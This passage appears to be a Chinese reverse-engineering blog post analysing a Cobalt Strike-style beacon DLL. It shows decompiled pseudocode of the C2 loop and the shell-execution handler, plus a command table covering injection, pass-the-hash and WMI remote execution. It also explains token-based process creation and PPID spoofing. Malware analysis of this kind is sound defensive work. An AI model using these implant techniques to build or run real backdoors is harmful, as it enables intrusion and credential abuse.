v7 = sub_180018664(67);
sub_180018FC4((_DWORD)v4, v7, v0, v6, v5);
if ( (unsigned int)sub_18000E614() )
sub_180019104();
dword_18003C000 = v3;
dword_18003E468 = (unsigned __int16)sub_180018664(5);
v8 = sub_1800185DC(4);
v9 = malloc(v8);
sub_1800185DC(4);
sub_180013994(v9);
while ( dword_18003C000 )
{
v10 = (const char *)sub_180018BC4(v21, v1, v4);
snprintf(v2, 0x80u, "%s", v10);
v1 = 0;
v11 = (const char *)sub_180018BC4(v21, 0, v4);
snprintf(Buffer, 0x80u, "%s", v11);
dword_18003C004 = 1;
snprintf(::Buffer, 0x100u, "%s", v19);
sub_18000DFEC(v2);
v12 = sub_1800185DC(4);
v13 = sub_18000DF98(Buffer, &dword_180047740, v9, v12);
if ( v13 > 0 )
{
v14 = sub_180018174(v9);
v13 = v14;
if ( v14 > 0 )
sub_18001657C(v9, (unsigned int)v14);
}
if ( v13 == -1 )
{
v1 = 1;
}
else
{
sub_18001462C(sub_18000CDD8);
v15 = sub_1800185DC(28);
v16 = 0x80000;
if ( v15 )
v16 = 4096;
sub_1800101A0(sub_18000CDD8, v16);
sub_180012E70(sub_18000CDD8);
sub_1800128FC(sub_18000CDD8, 0x80000);
if ( (unsigned int)sub_18000E614() )
sub_18000E6AC(sub_18000CDD8);
if ( dword_18003E488 > 0 )
{
sub_18000DF6C();
sub_18000DFEC(v2);
sub_18000E1A0(::Buffer);
}
}
sub_18000DF6C();
if ( (unsigned int)sub_18000E614() )
sub_180019104();
if ( !dword_18003C000 )
break;
if ( dword_18003E468 )
{
if ( dword_18003C000 * dword_18003E468 / 0x64u )
sub_18000E5F4();
}
sub_1800109F8();
}
free(v4);
return sub_180019104();
}
md 又调用这么多函数,来看看 ai 分析的
while (sleep_counter > 0) {
// 1. 获取 C2 服务器地址
c2_uri = sub_180018BC4(config_table, failover_flag, metadata);
// 2. HTTP/S 连接到 C2
sub_18000DFEC(c2_host, c2_port, user_agent);
// → InternetOpenA → InternetConnectA → InternetSetOptionA
// 3. HTTP GET 下载任务
task_data = sub_18000DF98(c2_uri, config, buffer, max_size);
// → sub_18000DC5C → HttpOpenRequestA + HttpSendRequestA
// → InternetReadFile 接收响应
// 4. 如果有响应数据
if (response_size > 0) {
// HMAC 验证 + AES 解密
decrypted_size = sub_180018174(buffer);
// → 验证后16字节 HMAC
// → AES-CBC 解密 (sub_1800013A4 / sub_180001588)
// → 时间戳反重放检查
// 5. 任务分发
sub_18001657C(decrypted_data, decrypted_size);
// → 解析: [task_id(4B)][task_length(4B)][task_data]
// → 循环调用 sub_180015EC0(task_id, task_data, task_length)
}
// 6. 发送执行结果回 C2
sub_18000CDD8(result_data, result_size, flag);
// → sub_18000D9F4 / sub_18000E3D4 → HTTP POST
// 7. Sleep (beacon interval + jitter)
Sleep(interval * 1000 + jitter);
}
本人到这已经力竭了,这么大的代码量根本不是给人看的
作为一个人类只能根据各个函数调用的 api 去大致分析功能
比如在 sub_18000DFEC() 函数中

存在大量如 InternetOpenA、InternetSetOptionA 和 InternetConnectA 的 api 调用,可以猜测和建立 http 连接有关
还可以通过一些代码的特征片段来分析
比如在 sub_180018174() 调用的 sub_180001588() 函数中,存在强制校验 (v11 & 3) == 0,要求 4 字节长度对齐

还有下面这段

v16 每轮 +4,每轮 4 字节批量异或
都符合 AES 的特征,因此可以猜测 sub_180018174() 函数实现了 AES 的加密或解密
这很好理解,beacon 和 C2 之间肯定要加密通信的
我们来重点看一看 sub_18001657C() 调用的 sub_180015EC0
sub_180015EC0() —— 命令分发器
代码很长就不展示了,实际上就是一个巨大的 switch-case 分发器
| 1 | sub_180010C0C(flag=1) | |
| 3 | sub_18000EBC0 | |
| 4 | sub_18000E670 | |
| 9 | sub_18000E820 | |
| 14 | sub_180014140 | |
| 15 | sub_18001433C | |
| 16 | sub_180014104 | |
| 22 | Spawn + Inject (x86) | sub_180010D08 |
| 27 | sub_18001262C | |
| 37 | 远程执行 (WMI / DCOM) | sub_1800124DC |
| 44 | sub_180010C0C(flag=0) | |
| 47 | sub_18000E8FC | |
| 53 | sub_1800143A0 | |
| 54 | sub_180010784 | |
| 70 | Make Token (Pass-the-Hash) | sub_180010EE4 |
| 71 | sub_18001034C | |
| 72 | sub_1800107C4 | |
| 78 | Shell 命令执行 | sub_18000E6C4 |
| 79 | sub_180014CD8 | |
| 86 | SpawnAs (指定用户) | sub_180013588 |
| 89 | sub_180010C0C(flag=0) | |
| 92 | sub_180015090 | |
| 99 | 注入执行 (Reflective DLL) | sub_18000D038 |
| 100 | sub_1800112CC |
好多啊不想看了,我们挑一个来分析吧
作为一个远控后门,最重要的当然是命令执行能力,因此我们来看一看负责 shell 命令执行的 sub_18000E6C4 函数
__int64 __fastcall sub_18000E6C4(__int64 a1, unsigned int a2)
{
void *v4; // r12
const CHAR *v5; // rbp
void *v6; // rsi
const char *v7; // r14
char *v8; // r15
__int64 v9; // rdx
unsigned __int16 v10; // bx
__int64 v11; // rax
__int64 v12; // rax
_BYTE v14[32]; // [rsp+20h] [rbp-48h] BYREF
__int64 v15; // [rsp+80h] [rbp+18h] BYREF
// 读取 C2 发来的数据
v4 = (void *)sub_180013D24(0x8000);
// 提取相应字段分别给 v5、v7 和 v10
v5 = (const CHAR *)sub_180013E78(v4, 0x2000); // v5:命令模板(包含环境变量,如 %COMSPEC%)
v6 = (void *)sub_180013E78(v4, 0x2000);
v7 = (const char *)sub_180013E78(v4, 0x2000); // v7:命令参数/参数部分
v8 = (char *)sub_180013E78(v4, 0x2000);
sub_180013E30(v14, a1, a2);
sub_180013F14(v14, v5, 0x2000);
sub_180013F14(v14, v7, 0x2000);
v10 = sub_180013EDC(v14, v9); // v10:一个标志位(控制是否使用加密/回传方式)
// sub_180010904() 调用 ExpandEnvironmentStringsA api,将 %COMSPEC% 展开为 C:\Windows\system32\cmd.exe
sub_180010904(v5, v6, 0x2000u);
//拼接命令行
strncat_s(v8, 0x2000u, (const char *)v6, 0x2000u);
strncat_s(v8, 0x2000u, v7, 0x2000u);
if ( (v10 & 1) != 0 )
{
sub_180010988(&v15);
v11 = -1;
do
++v11;
while ( v8[v11] );
sub_18000EF38(v8, (unsigned int)(v11 + 1), v10);
sub_1800109C0(v15);
}
else
{
v12 = -1;
do
++v12;
while ( v8[v12] );
sub_18000EF38(v8, (unsigned int)(v12 + 1), v10);
}
return sub_180013E0C(v4);
}
sub_18000EF38() 反编译失败了,估计和 ReflectiveLoader() 一样是手写的,大致看一下调用的 api 有 CreatePipe、GetStartupInfoA 和 WaitForSingleObject,猜测功能是创建管道、创建进程、执行命令并读取回显的
脑子转不动了,最后还是要请出 ai
sub_18000EF38 → 创建进程并捕获输出
└─ CreatePipe → 创建匿名管道捕获 stdout/stderr
└─ GetStartupInfoA → 获取启动信息
└─ sub_1800151C0 → CreateProcessA 包装
│ └─ sub_180015010 → 组装参数
│ └─ sub_180014D7C → 通用进程创建(支持多种 API)
│ └─ CreateProcessA / CreateProcessAsUserA /
│ CreateProcessWithLogonW / CreateProcessWithTokenW
└─ WaitForSingleObject → 等待进程退出(10 秒超时)
└─ sub_180012AC4 → 读取管道输出回传 C2
步骤一:创建匿名管道
CreatePipe— 创建一对匿名管道句柄(读端 + 写端),缓冲区 1MB,SECURITY_ATTRIBUTES.bInheritHandle = TRUE确保子进程可以继承写端
步骤二:配置隐藏窗口 + 输出重定向
GetStartupInfoA— 获取默认启动信息覆写 STARTUPINFO:hStdOutput/hStdError指向管道写端hStdInput置空标志位置 STARTF_USESTDHANDLES | STARTF_USESHOWWINDOWwShowWindow = SW_HIDE
步骤三:多态进程创建(sub_180014D7C)
根据当前是否有模拟令牌/凭据,动态选择一个 API:
CreateProcessA— 无令牌时直接创建CreateProcessAsUserA— 以指定用户身份创建CreateProcessWithTokenW— 窃取了令牌后以令牌身份创建CreateProcessWithLogonW— 已知用户名密码时凭据登录创建
辅助操作(有令牌时):
OpenProcess— 打开父进程句柄DuplicateHandle— 将 stdin/stdout/stderr 句柄复制到目标进程UpdateProcThreadAttribute— 设置PROC_THREAD_ATTRIBUTE_PARENT_PROCESS(PPID 欺骗)
步骤四:等待进程退出
WaitForSingleObject— 等待子进程结束,超时 10 秒
步骤五:注册异步 IO 读取
调用 sub_180012AC4 构造一个追踪结构体(包含管道读端句柄、进程句柄、30 秒总超时、标签 "process"),挂入 Beacons 主循环的全局链表中。主循环后续通过以下 API 异步读取输出:
PeekNamedPipe/ReadFile— 从管道读端拉取子进程的 stdout/stderr读取的数据经加密后回传 C2
ai 还是太厉害了,我是飞舞,只能在这水字数
好久没有这么酣畅淋漓地逆向过了,接下来一个月都不会打开 ida 了
(:3」∠)